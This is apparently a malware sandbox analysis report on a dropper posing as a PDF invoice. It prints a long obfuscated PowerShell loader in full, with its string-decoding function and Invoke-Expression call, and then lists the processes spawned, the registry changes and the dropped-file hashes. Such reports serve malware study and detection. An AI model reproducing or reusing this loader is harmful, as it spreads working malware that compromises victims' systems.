T0Fo1Fo8kl0Pa9Po1Ca5Uv1 S2Lu1Ma9hu5Fo5fa5 N9 F2PoDUn0GuFIn1 M8Ta1BeEJo1Ap8Us1be1Rl1No8Ti1BeFFa0inFme1 KCsu0Ac9In1Ge8 P4 MFRe5na1Ac5TiDIn5 S9le2 NDKi0 RFEf1Of8gr1CoENu1Un8Mo1Sv1 K1De8Kr1FiFSu0 FFBa1vaCDa0St9En1Fl8 P4ReEHe5Di1De5 UDPh5Hu9Me3FuBHo1 CCFl1Du3 T1ExA S1Ad8Kl0DiFAg1Hy8Un1Te3Un0skEsk1AbBBu0 E9Du1AuCSt1TeAOp1Ha3No1 U4Th1 S3Cl1LaAFo1Vi8Te0MeFSu5 S1Mu5ApD A5Fl9 R3ElBIr1 ACfl1aa3Ud1 AAAs1Sk8Tr0SeFSe1Su8Po1Tv3un0ViESo1MoFLy1 A4Bl0Di9 E0Ca8 A0TeFDr1 P8Ma0anFWe1Eq3st1 M8An5Be4Ot5St3 L2OlEDu1Fa8In0Br9Fr3Mu4ko1Gr0Do0 DDBo1Fa1Fa1Fo8Ap1Br0 S1Ad8Cy1To3No0 P9 V1UnCSt0Qu9Op1Bl4Dr1Pr2Mr1is3Bu3vaBIn1Op1Ud1EjCNe1ReA U0EnESe5Ra5kl5Dr9Da3ReBPi1An2Sn1Pr1 P1He6Hy1Gu1Ha1 U2Ma0PaF K1Eu4Ca0HjEgn0 A9Bu1Ac8su0BoF S1ps3Ad1 L8An4 sAUm5St4Xy'Af; M&Bi(Am`$ HPForbrePacAgeKolJueSkb LrBeaRotCaeBa7 H)Se Kr`$CaI DsbaaSedAfoLarHaaKa4Tu;Me`$ CIHysJuastdOnoMerSaaEn5Sk Ep=Tu StMsii TsStpRalPaaDenIntSasEn0Ko4Au G' G0ChFNo1 A8El0 U9Fo0Os8 M0BvF s1Co3 P5 RDJa5Es9ti3Ve8My1Ri3 H0OvC D0Ty8 D1AmC U0 AFFo0 D9 U1Ko8ch0SiFBo5He3Fi3DiE U0ExFJo1Co8Du1DiCsh0Te9 i1ft8 O2de9Ar0Pr4En0SpDAa1Sn8Ud5Ha5Gr5Fl4Fa'lo;Le&Gu(Ga`$KePGurToe Sc DeAdlDae Mbbnr Raspt Oe S7Be)Pe A`$DuIBesFoaBidVeo WrGraUn5Sv Al Ge Be; O} A`$ fA FvHoaOlnTriguaaroTeg Ct NrScyDekUdkareDirPre B Br=De TeMFiiHvs SpHil AaDynOntDis B0 I4Te S' P1Be6Gl1Ro8 A0SpF D1Or3Gr1Pe8Sk1Ad1 A4BaEop4SkFJu'Or;Ma`$GaKSta HuCrkStaDrsCiiTreeurUnn GeAfsVa Fo=qu KoMMiiWhsInpPllOpa UnImt MsPr0Pa4Un Be'ch0Br8 B0CoEDe1Ph8Bi0 IFJu4LiEGl4MaFde'El;St`$shMFoiInsSnpZolExaBenLitDisGo0Fo3Tr U=Th AsMKoi As MpPolFraMenKvtBosAp0Be4 I Ka'Un3 kAKe1 f8Mo0Bu9Pr3SoEVe1Of2Ve1Ti3Tr0HoEOb1ca2Sp1Nr1Ho1Ga8St2veAFr1 S4Un1Co3Re1Un9 P1Ap2Kr0MeAAn'Sh;Ni`$ LMUniHesFip FlSmaVenSptfisSe0Ta0Fo=BoMWeiErs UpGelAka FnCatHisFa0Re4 L Si'Ud2 VECl1Pr5 V1Ly2 s0SsATr2 UARa1pl4Fe1Al3Tr1Ma9Fl1Be2li0baA C'Ge;Pa`$FaIbos AaHadTroCirSta A6Pa Co= V TrM aiHusSip TlspaHan Ft UsDe0Si4 U In' S5 C9fi2 A8 H1Ai3St0 KB A1 TCPe0We8Eu1Bo3St0 C9Hu1Zy8 P1Po9 a5EdD S4Be0Sk5HoDAd2Un6bl2 GEre0Ne4As0AuE G0Un9Er1Ud8Gi1Ke0Ud5Sk3Sa2ClFOp0Di8Co1Or3We0Ef9Ge1Be4Pu1Ma0Fi1Of8Bl5 D3Hu3Fo4Di1Kn3Un0Ha9Fa1My8Sp0GrF K1 c2 C0InDMa2 TEFi1Th8Re0TuFIn0 BBOu1Ag4Ar1BeEFo1Op8Kn0foEMa5Ti3Fr3Sp0 S1 UCBi0 EFFe0BeEDu1En5Ac1ElCKo1in1Di2Ca0Ro4Fa7Kr4Fj7So3GoADv1Or8Bo0Sl9 I3Br9 S1 G8Ph1 K1St1Bi8 B1BeATa1CoCJi0Mi9Gr1Es8co3FoB P1Su2Pi0 KFTe3NoBLi0 S8Un1Ba3ea1daEHu0 B9 C1Hy4Di1 M2 e1Mi3Wi2 AD b1Pa2 C1Ca4sp1Sk3Cl0 A9Re1Ko8 S0 SFud5Ca5Su5 U5Pe1 SBFe1El6In0DeDHo5 MDDg5Bo9Ka3NeCKv0DiBWo1xyCLi1Ha3Sk1Mi4Ge1MeCEc1Pa2He1UdASu0Ud9Br0ReFSo0Ge4Ge1So6Fl1No6Va1Pu8Gu0UnFFl1Ch8Sa5ErDFe5Hu9Fa2PrDun0 IFLa1As8Fi1BsEAn1 M8Ca1fi1Te1Ly8fi1FuF S0ViFAf1PsCEk0ma9Sp1Me8 N4In9Gr5Fo4Ke5Tv1Fa5DoD O5Su5Fr3PoAMu3Af9 T2Ku9Ma5GoDTa3VaDUd5 C5 S2Ha6No3ga4Ce1 k3Ph0Ab9Bo2OpDMo0La9fu0DiFUd2 K0Ha5Fr1La5HjDCi2La6od2Ko8 A3Fi4Gr1In3Fl0Ro9Im4NoEGs4GoFPr2Ag0Pa5Ba1Tr5KoDUn2 R6Af2Ne8Sn3Ra4Ec1 P3Sm0 H9Or4WiESt4 IFKo2 T0bi5Me1Co5StDTi2sp6Ok2Ha8Ce3Mo4Be1De3 D0Fo9In4EmE P4FrF a2Ex0 B5Tr4Di5FlDRe5Fa5 L2 W6 r3 c4Hs1hi3No0Te9Se2RyDBl0Lo9An0 aFOv2Sk0da5 R4Ov5Ud4 V5St4Ru'Ch;ho&Mu(Ca`$VeP JrnueSucOmerulNieCibGerImaCotSte A7Ga)Tr An`$CaIChsPraVodAfo KrAsafo6Ca;Ma`$PaMThiVasHapFoladaFon LttysDe0 C1Pl Na=Ud JaMSoiDesSupShlReaOcnUntFesIs0Un4Ne Ti'Ny5Po9 B3ToCAr0BoBGe1MoC O1 j3Un1 S4St1FrCCa1 f2Fo0StFEn1 GAIn1Mu8Th0CoFHo1 P0Gu0Un8Cl0CaEDa1Hu4Fa1Li6Ce1Ps6Dr1 R8An1 M3ea0ReEEn4 S5Er4AfCNe5BrDCo4Sl0 b5 LDRe2Et6Kv2FrEEs0Me4bl0SuEKo0Ej9Ad1 T8Tr1Th0Ca5Pe3Ja2DeFSt0ed8Dw1Ba3 S0 G9Gt1Es4Ca1Ek0Kn1 I8Pe5Me3 P3Bn4Wr1An3se0Un9 s1Fe8El0BeFOo1No2So0TyDUn2 PE T1Mu8Fa0TiFFu0SuBFj1Fl4Pr1 SEOl1 u8Ba0PaE T5sk3Ce3Bl0 U1 GCBr0 DFAu0 PESu1Ra5Ev1 ACRa1op1 R2Ra0 W4 B7Sm4 V7Wi3UnACo1 C8Va0Co9Sp3Pi9In1Va8Bo1Em1Ca1Ef8ny1SuASu1MoCMo0 H9Si1li8Ne3AfBAc1 H2Ta0AnFIn3LaB E0Mi8Ag1Va3Ra1NoEBl0 B9Ch1St4Pi1Ba2Ha1Pu3Dy2FeDSk1Se2Pr1Ca4Fi1af3No0 B9Fo1Bl8Do0QuFSu5Ti5Co5 S5 U1UnBGo1 U6We0GlD B5FiD t5Pr9Cu3Pe6 H1gnCan0 b8Is1ha6ve1paCga0UnEPa1Ju4 P1Py8St0 HFUd1Pr3Sp1De8Sa0FrEAj5NsDSy5 P9Ov3Sp0Bo1 B4St0RaEMe0LsDBr1 O1Kl1KuCSp1St3De0Gr9Pr0MaEAe4TuD N4FlDIn5 F4Pr5 F1Pi5NoDNr5Gr5Bk3 EA P3Ag9As2Ud9Ov5 CDub3FeD P5Ov5La2Di6Fd3La4Af1An3ad0Di9Ho2MoDGr0Ne9Dr0 PF K2He0Sh5 F1Fe5EnDBa2Re6Ch2In8Ly3 E4 S1Sy3Ov0Ex9Pr4VaEPe4SyF U2Me0Gu5Re4Be5QuDEn5Ci5Di2pa6Sc3Ba4is1Be3St0Kn9Ko2PoD R0Pi9Pi0reFWi2 F0Om5Mi4An5Ci4ba5In4Tr'Su; H& t(Is`$FoP DrNiepocIseTrlSoe Sb ErPrakotUde T7 T)st Me`$UpMAmiCasSop ElRoa PnTrtUtsGi0Hy1 H; I`$PoMFoi AsElpUllskaBunCat GsKr0 U2Gr Ma=va UnMHaisysEsp Vl faSonRut IsPr0Bu4En Fo' N5 U9Ta3Mi6ma1St2To1cl0Bi1La0 M1di8Pe1Re3 U0Ta9Kr1LyCOm0BuFUn1SkB j1ImCUt1MaEDe1Ln4De1Ni1Sm1Ai4Tr0ye9Un1bu8Fn0Ne9St0GrERe5DiDSu4 S0Gu5 HDMa2Xa6 R2TeE S0Ek4Vi0JoEHe0Un9Su1Bo8Bo1Se0Ov5Fa3Fa2PeFNo0 F8Ko1Un3Fr0Ce9 S1So4Ko1Ex0me1 C8Im5Be3Bi3Co4Me1 S3Pr0am9Au1Bo8Ud0 LF P1Po2Di0AlDSt2 UEBy1Re8af0 LFJu0KrBRo1 I4 B1BaE F1Gu8Ul0VaEOa5Re3Gl3Fo0Re1EoCBr0VeFFl0 SE M1Sa5Hu1heCAr1Sa1Ud2Di0Sk4 A7ra4Ir7Af3 KA B1Ef8am0Da9Ov3Be9Ex1 O8Ex1mo1 C1Ne8In1TrAWi1BrCUs0Ka9Ho1Ma8Do3 DBBr1Kv2Mu0 UF P3PhB N0Po8Bo1et3Fj1BlEIn0Fo9La1Mu4Di1 A2Gu1Jo3Fi2DaDEr1Al2In1Ga4 R1 E3 C0Me9Sp1Wa8Ha0 AF D5Su5Ho5Ka5Pc1McBCe1 H6 U0brDco5FoDse5Ba9Fo3NoCLa0 KB O1 fCSt1 T3Ru1Vr4Sa1FaC J1Mh2Be1ElAIn0Ud9Sa0LaFEm0 N4 W1Sh6Fi1Tr6 D1re8Au0FiF A1Fd8 A5GeDFe5un9Er3Pa0 D1Ra4 B0 CEma0PaDBa1He1Pl1SnC U1 L3Tr0Bi9Kk0PrEMe4ImDIn4FiECa5Se4Al5 A1Po5FoDPe5di5 P3AvALe3Ba9Bi2 P9Ga5PaDYn3 MDEn5In5Me2Eu6Pl3 I4 K1Ud3In0 R9Af2 KDch0 A9Bu0KoF W2De0du5Ma4Af5 TD O5Pl5La2Mo6Ru3Be4St1 Q3Vi0ju9la2FlDPs0Sh9Su0caFPr2 F0 A5ki4Ja5Sk4An5Be4Er'Ex;Da&Ha(Ov`$CuPTirAleTicTreAnlAseLebAprTuaMdtfeeDa7Al)Pa In`$GoMNii TsShpSmlDraRenHot UsKl0Cr2Ba;Sk`$SuILestia SdUmoUnrInagl7un Ra=Ve BiMDiiMisMupPolSoaAkn RtVrsIn0De4Fe Su'Ap5 R9 S3Ca2Ni0PuBOv1Me8Sp0PrFSu1VeBSt1in4St1Sc3sa1Sn8Dr5SnDLa4Tr0Tu5TeDKo5Pr9 n3sp6Se1Vk2Te1 B0du1Sl0Fo1Ar8Pe1nu3 F0Gd9 C1 lCQu0heFAa1UpBVi1 BCLk1 PESt1In4Me1Di1 N1De4Dd0Kn9Ba1Ru8Sa0Ha9Sk0TaE T5Hy3 O3Po4Ch1gl3 K0PrBFo1Fl2Ad1Va6st1 T8 S5Bl5Fo4 HDha5Sk4Av'Bo;Gi&ba(Ti`$DoPLer Pe UcSjeStlGeePrbDurAvaLit SeGi7Om)Eu St`$HeIKrsSpa DdUnoLarpaaHl7Br;Sv`$ BI RspaaCodEpoTorDoaAr7Rb Ch=Ka SeM CiUrsUdpBrl SaLenRetDesCh0Se4Uv A'Re5ch9Af3UnCMi0InBSt1SeC A1 C3mu1 D4Rv1LoCUn1su2Of0VeFlu1FoA F1um8 y0SkFAn1Ti0In0Fo8 S0BrECa1No4 U1 P6Un1Ny6Ok1Ve8sv1Co3Fy0StEun4 F5Ra4GrCHj5So3 S3De4mi1 F3 s0FiBWo1In2De1Pl6Re1 F8Ex5Un5 S5fr9Pu3Fo2Re0ThBSa1Pr8Pa0huF D1 AB W1Cz4Gi1Fo3In1Co8co5Fl1Av5ytDLa4PeDCi5Ar4Fi'Th; R&Pr(Li`$KrP Sr FeBocGleVilNoeTibNar SaTotMaeUn7Ka)ku Un`$CiIAlsGraRedUno Br TaUd7Op; S`$KvP CuDitPsrFle PsRec SiSubKaibil UiPltFiyTe Si= R SfSokTopSa Re`$TeP OrBeeSocReePelAce ObHor PaTutAue N5Gu pl`$TyPVorAve FcEneFrl FeStbGarUnaDyt pesk6 L;Jo`$CrIElsBuaFadCooMirVaaFy7Ek So= I SoMspibls MpStlUnaVrn PtArsDe0Un4Mo Fo'La5Pa9Ar1Ak1St1Pl4 R0TeDEl0ChE A0Po9 J1Br4Va1laEEn1Ud6Fy0udEDi4AnEUn5 NDSt4Un0Af5DaD T5Ci9In2Am8Ju1 O3De0SuB A1RdCMo0Fu8Ur1Un3ma0Nr9Kr1St8Nu1Sv9In5im3Po3Wa4St1Kl3 I0FiBHa1ja2ov1Gu6El1Fo8 A5 T5 T2Ta6Ja3 H4Br1ha3 A0Ov9Gu2SoD A0Ge9Ta0 HF T2Bi0Ku4Sa7Ko4 O7fo2Eg7Sy1Pa8se0 FFJe1 L2Bl5Au1 Z5DuD K4Co8 E4So5Un4Un5bi5Gu1La5EvD D4unDPa0Br5Un4skEMe4 UDDy4GrDra4 KDSh5Be1Ov5KuDGe4 DDAn0 R5hi4Be9De4InD S5Sl4Kr'Un; p&Di(af`$CuPkorPie kcOveSklUneBubInrBlaHat BeAf7Mi)Co Sk`$OrIPrs MaemdFloCorKoaAm7Fi;Ov`$BiI AsTiaLadKioCirFeaDi8Di Fe=De ErMMaiGrsDipCalAsaAfnFytSusOv0Tu4 H Sn'Fr5be9Da2fo8Fo0 REOs0Ar8Sl0 FF T0ReDLa1 SC S0 B9 C1Op2Si0 CF k1Ru4 K0KoERh1Re6Ua1Sn8Tr0LyECo5KvDBi4In0di5RkDUn5Fo9su2Ar8Qu1Ar3br0 ABUd1MyCRe0Vi8Mu1Oc3Sn0Ov9 G1Am8Ge1is9Pe5En3Sk3Re4In1 b3un0FoBUn1Al2re1Un6Ci1Sh8 F5 U5Du2Ef6 P3lm4Fo1Ba3 E0Un9 S2ObDRe0 E9Ud0FoFfo2An0pl4Hi7Bi4Ep7Sh2 b7 M1De8ek0BaFOp1Sa2Fa5Na1Va5PrDEc4SlFPh4JaCFo4In4Ko4KrBCa4GyFEs4 AAMe4Ko8Fo4GlFSv5Ad1Im5SkDSe4 EDPu0 U5 R4arEAe4DeDSp4ScD L4UnDTj5Ba1Ar5faDLi4ClDPi0Po5Co4Gl9Po5fr4 H' O;Ri& N( A`$LiP OrAdeFacEreTelkoeUdbScrCaaNatBreBj7Vo)Or Ri`$CiI OsNoaHydTro TrUnaSu8Fl;Om`$BelMaiUrpLes Wt KikrcAnkPasVe2St=Ce`"""Di`$OleMunGsvvu:MeTdeE BM SPSt\ ktSurTva RwEllWieferarsBo\LasMatGreWhjOvlMieCysBr\PhT SrGaa SfTrf CiBecSvkHesFr\ ATPriAdlChbBoeTerFeeVodSmeLdloosStePer CnTeeDusAf. BUbinBltSc`"""Po;An`$MeIGasFoaErdCio FrCoaFo9Hy B=Se mM PiSosBap klScadenAxtAusFl0fe4Bo ma'Ab5To9No3Mu4 K0 PELe1TrCUn1Rl9sa1 F2Wa0UnF L1LaC T5BuDVa4 S0Po5 MDMo2 C6La2AlEGu0 S4 P0ViEUm0Pl9Sp1Er8De1Cr0Ne5 U3Hu3Un4Ed3De2Kr5su3Fe3CoBno1Da4 C1ko1Un1 t8Ad2dr0 L4Bl7Kl4La7de2EnF H1 M8Re1 RC F1 U9Un3SlCRe1In1Ye1Ef1He3TiF F0Un4Or0Az9Ma1di8Fr0YvEPr5Us5 E5Wa9 M1 B1ba1 S4 A0boDTu0 MEKo0Sh9Li1Sp4Bu1 HESe1Mi6Ud0FiEFo4EtFKn5Re4Ko' E;Po&Lo( O`$VePCorBeeNocTee Dl AePibQurRoaUdtUne H7an)Ku Sl`$ SIVasHoa EdSno Mr Ta C9Sc; H`$AlACopPypCoeTrlEfaintFoiDevAd0Bo Ni= F LeMEfiBas MpRelPaaFan atQus S0Mu4 T Va'Sk2 p6de2DoEMr0 S4Re0ArEim0Tr9Ru1Fl8 U1Lu0 B5Th3Ex2 SFFo0Ma8de1Pn3pr0Ba9Ti1 R4Sl1In0El1Ev8Jo5Da3Do3Qu4Ko1Fo3Ch0bo9 G1Ou8Se0DyFSi1Ku2In0OmDdi2PrEHe1Sy8Af0 RFTe0PuBmi1Am4He1UnEFo1Va8Ls0ThEIn5Sk3 S3Ca0Du1 FCBe0SaFKi0DeESe1Un5At1RaCSo1Ti1Ae2Vg0Pe4Fi7 S4Ha7 N3SeERa1Mo2 G0MoDHy0Ro4 s5Li5Ov5Va9 N3 L4Ad0ArEAd1 SC J1Hi9Pr1 C2ar0EiFIs1 PCRa5Ma1No5PaDEx4PaC S4 IDWi4NoFLo4pr9Di5Im1Bl5EaDIn5PeDSu5 M9 L1st1Af1Va4Gy0EjDFl0UdESk0Fo9Ra1 e4Sy1LoE d1Sp6Cu0StEAt4 TESm5 M1Rh5AnDTr4Fj8 F4Re5Ye4Pr5no5Sc4Sk'Su;ar&Ud(Hy`$PlPCorEfeZecYaeSol Me FbTorReaCotGoeDr7In)Re Ad`$ NAFip SpDreMol Sa Mt KiTwvSm0Pu;We`$ UlcisCoeTerPrsInkOva ErGoeRanba= F`$ IIOmsPnaDodtioFar Kaly. UcBgoTouDinDatOv-Fo5Ps8Ev8In- P1Od0Bi2 S4De;He`$StAnapInp Me AlCaaChtBhiAdvEk1mo di=Ov LiMMoivasChpPalDaaPhnSlt KsPo0Te4ov S' N2Co6 N2GrE M0so4 S0KoESa0Ti9Re1St8At1un0 A5 S3 C2ThFLo0Pi8Po1De3Fo0hy9In1So4Pi1Pa0Gr1 O8Uk5Gu3Ko3 F4 A1Mo3Tu0Ka9Gy1At8Vi0 NFSt1 O2 H0StDKa2HyEPl1Da8Bo0BoFFo0 DB U1Lk4No1 REHa1kl8Sk0StE P5Bu3De3Eg0 B1slCSc0CiFDe0KaEEx1Ch5Sd1StCBe1 F1Pr2Uh0Ka4Bl7 s4un7Re3PrEDe1ch2it0phDBe0Ca4Ve5Or5Da5Un9 P3Se4Pr0CaEPh1StCDi1Ma9 I1La2 Q0OvFHa1 kC f5Ha1Un5foD I4Fo8 O4 t5 K4Il5Ma5Pe6Ad4 VCTr4daDAe4ReF R4cu9fo5Ac1Ro5UnD F5Ar9Le2Re8Ap0BaESa0Fu8In0deFQu0BoDKe1AkC D0Pu9su1Un2Pa0FeFRo1 I4Ma0InEBr1in6Ma1 S8Fi0 GEFi5Ob1Os5NeDSc5 S9Pe1 K1Re0MeEWi1To8in0wiF A0QuENe1 C6Co1InCPr0paFSn1So8sc1Ge3Te5Sj4Ho'Sa;Da&Jo(Sk`$ErPOxrRaeGrc Te AlFoe Fbbereda StMiese7Br)Su Ej`$StAHepIdpLoemolSeaBetFriScvPi1Il;Tr`$liABlpFop ReGilbyaTwtEkiadvTe2Fe H=ro GrMNyiUnsGnpTilHaaNonkitVasVi0Tr4Pe W'Br5Bi9 S2UnD C0Ob4Be1Ex2Fj0 LD R1Me3Ou1 C8 a0Cy8La1ru0 a1Tn2Fl1BlEko0In4Ko0AfEPo0 P9Br5StDRe4Ve0Ra5spDMa2Sa6Ex2CaE V0Ta4La0 KE D0Br9 F1gl8Al1Ou0Re5 P3Be2FjFFr0ia8Af1 K3An0Di9Re1Ca4Pa1 P0Ta1 M8Be5un3me3Ro4Ka1 S3Au0St9Re1Dr8sp0InFTo1 S2Lu0 FDBl2 UERo1Pl8Ta0BuFVi0 DBCo1Ve4 R1BoE M1Mi8Hu0TrEBr5in3Ja3Ma0Kd1SvCHy0BlF I0BlE M1Ha5 T1AnCCa1 F1Om2Sp0Ud4 B7Sn4Bl7 M3 TASk1 L8 D0Th9Th3 k9An1 S8Me1Su1No1Fu8Sv1 dATu1LeCHe0Ou9Sa1Pa8Gl3 KBaf1Ap2Fr0AdFMa3OvBSt0In8sk1Be3Ta1NoE T0Ho9Bo1Sa4 E1 S2Ga1 K3ko2SaD A1Ps2He1Pa4Ba1Ha3Cu0Cr9sk1Se8Cr0 SFNo5Ep5Ca5Mu5St1 MBFr1 H6Ri0DaDFe5EvD S5ba9Da0PeFHu1 t8Sm1Bl8 L1 K3Sc0 E8Po1 B0Ko1 B8Tr0ChFRe1UnCBl0Ma9 R1 U8St5JuDSt5Ie9Hj2Em9Br1 A8Wo0ToFRe1Al0Al1Un4Ne1Pr6Me1 S6Ra1Ve8 D1Gr3un0 GECh5 T4Ud5 G1 U5InDSu5Hv5 T3BlAPs3 T9Fo2 D9Se5UnDFi3irD A5Be5Fa2Co6Ro3Kr4Fr1Cy3Yo0Fo9 I2MiDSe0 U9 A0ReFUh2Ra0St5Eg1Kl5 PDUn2Ud6 S3Bi4Ca1Sa3No0Be9 D2 PD U0Sl9Li0StF D2St0De5Ov1ne5IdDaf2Br6Cr3Wr4Ko1 A3Vi0El9fo2BiDEn0Lu9Ou0 mF S2Kl0Mo5Di1Al5NsDAl2Sv6tr3Li4al1Ee3 L0Re9Sk2ReDSl0Pe9Wh0DeFKv2 A0 M5Ho1 T5GrDCe2 b6 F3St4Un1Po3Am0Fo9Ta2LlDdo0Ad9 S0boFDe2 H0Ma5Ko4Bo5PeDSy5 H5 s2Mo6Sy3 g4In1No3 C0Un9Ef2CoDDi0 F9Ov0UnF S2Ba0Ca5Be4Vr5 G4 O5Ze4Co'Me; O&Sk( A`$HaPSprFreSkcNoeArlSueVgb Pr PaNotEseTi7Si)Li Sv`$ExANipMepuneTrlVaaEntCriAfvsa2Hy;Yd`$TeASppzapFaeCal CaUntAsiDevMo3Va u=Ha MoMSei TsRopBalumanynrvtNusAn0Pe4Un Vi' P5Sy9No2HoDst0So4Po1Ud2Re0KoDAn1Ac3Cy1 M8Gr0It8Vi1 B0Sv1Of2an1BoECo0sy4Sy0SuE K0 S9Ma5 T3In3Fa4vl1No3Us0KvBGa1dr2Sy1 Y6Be1Or8Ch5Em5Kl5Sc9Ro1Re1Je1 F4Fl0ShDUn0SpEun0Re9Wh1In4Ul1saE C1Pi6Sk0BeE L4 SEBu5tr1wa5Ho9Be2le8Pr0FoEPu0Af8Gi0OuF D0UnDJe1 GCSi0Bl9St1In2As0FoFNi1Ha4La0TeE S1Ku6Ta1Is8In0MaEPr5Ca1St5Po9Pl2 BDSo0 M8in0cy9 B0CoFCa1Ug8 T0MiEHe1PlEpo1Go4Jo1MeF H1 F4To1Ru1 G1Gs4In0Hy9Us0In4 S5 I1 S4FoDHu5Ov1Ge4SpD S5Co4Pa'Ar; K&se(th`$ScPOtrCoeAsc IeUtlMaeAgbOmr FaBytAgeSi7Re)Mo Tr`$JoAfap SpUneSclTyaVitHyiVavKo3Li#Li;""";function Appelativ8 ($Fangerens,$Avania) {&$Ldresag0 (Appelativ9 'Po$SpFBea In KgVaeRerCaeVinTrsVa Me-SabToxKroher P pa$VoACavSuaRanSpiAnaRu ');}function Appelativ7($Privatadressernes) {return $Privatadressernes.Length;}Function Appelativ9 ([String]$Avaniaogstaveredes) { $Pregame = Appelativ7 $Avaniaogstaveredes; For($Trevlet170=2; $Trevlet170 -lt $Pregame-1; $Trevlet170+=(3)){ $Misplants = $Misplants + $Avaniaogstaveredes.Substring($Trevlet170, 1); } $Misplants;}$Ldresag0 = Appelativ9 'daITeEKrX K ';$Ldresag1= Appelativ9 $Millenniarism;&$Ldresag0 $Ldresag1;<#Overinvolve Repose Metodebog Solodi #>;" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | Powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1164 | "C:\Users\admin\AppData\Local\Temp\INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe" | C:\Users\admin\AppData\Local\Temp\INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: daisybush cartoning Exit code: 2 Version: 3.4.0.0 Modules
| |||||||||||||||
| 2124 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.8.3761.0 built by: NET48REL1 Modules
| |||||||||||||||
| 2736 | Powershell -windowstyle minimized $jomer = Get-Content 'C:\Users\admin\AppData\Local\Temp\trawlers\stejles\Trafficks\Exostosed.Reg' ; Powershell.ExE "$jomer" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe | — | INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
Total events
2 927
Read events
2 836
Write events
91
Delete events
0
Modification events
| (PID) Process: | (1164) INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe | Key: | HKEY_CURRENT_USER\Software\reidentifies |
| Operation: | write | Name: | goar |
Value: FFA0D072 | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings |
| Operation: | write | Name: | ProxyEnable |
Value: 0 | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections |
| Operation: | write | Name: | SavedLegacySettings |
Value: 46000000C1000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (2124) MSBuild.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\15A\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
0
Suspicious files
11
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1164 | INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe | C:\Users\admin\AppData\Local\Temp\nsxBD50.tmp | binary | |
MD5:EAA92E51F6F40CCFFC69CC9539B03BB8 | SHA256:E1CA5756751FD74BF6B0FD30633E292F51F8C67826E33A287E732F22920282E1 | |||
| 1164 | INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe | C:\Users\admin\AppData\Local\Temp\trawlers\stejles\Trafficks\Acetum.txt | text | |
MD5:6B413EDC85EEE7176EA1AE6F6A7B6F71 | SHA256:436BA483E8569B3EDA21C08ED26D5933D3D3D0704E4609485180161BE6A9FBF7 | |||
| 1164 | INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe | C:\Users\admin\AppData\Local\Temp\trawlers\stejles\Trafficks\Inditer.del | binary | |
MD5:A844A23ED03E6CAB9BC5956E28AB1250 | SHA256:6D6C6F086F613F86943255A518DB6C92A3869DD631BB0A94BD1F47D6EC4F4B97 | |||
| 1164 | INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe | C:\Users\admin\AppData\Local\Temp\trawlers\stejles\Disrobing\Pumelo\Misnames\Plathedernes\podocarp.spi | binary | |
MD5:D4AB4C1325AC66CCB9AFD740EF30426E | SHA256:34204ADA5FC1BCBB01C5CB4C0D7D4E8A6F5A2DDDBF904E5EF11935CC7F075443 | |||
| 2736 | Powershell.exe | C:\Users\admin\AppData\Local\Temp\2cyq1keu.adv.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1164 | INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe | C:\Users\admin\AppData\Local\Temp\trawlers\stejles\panesthetic.hea | binary | |
MD5:2C8FFF1BA24F09BAC1C5A7F562F4838D | SHA256:A41562E1715CF9D0633D9987418A0852C0FAD6C12CC4C752F013DA343C981E5B | |||
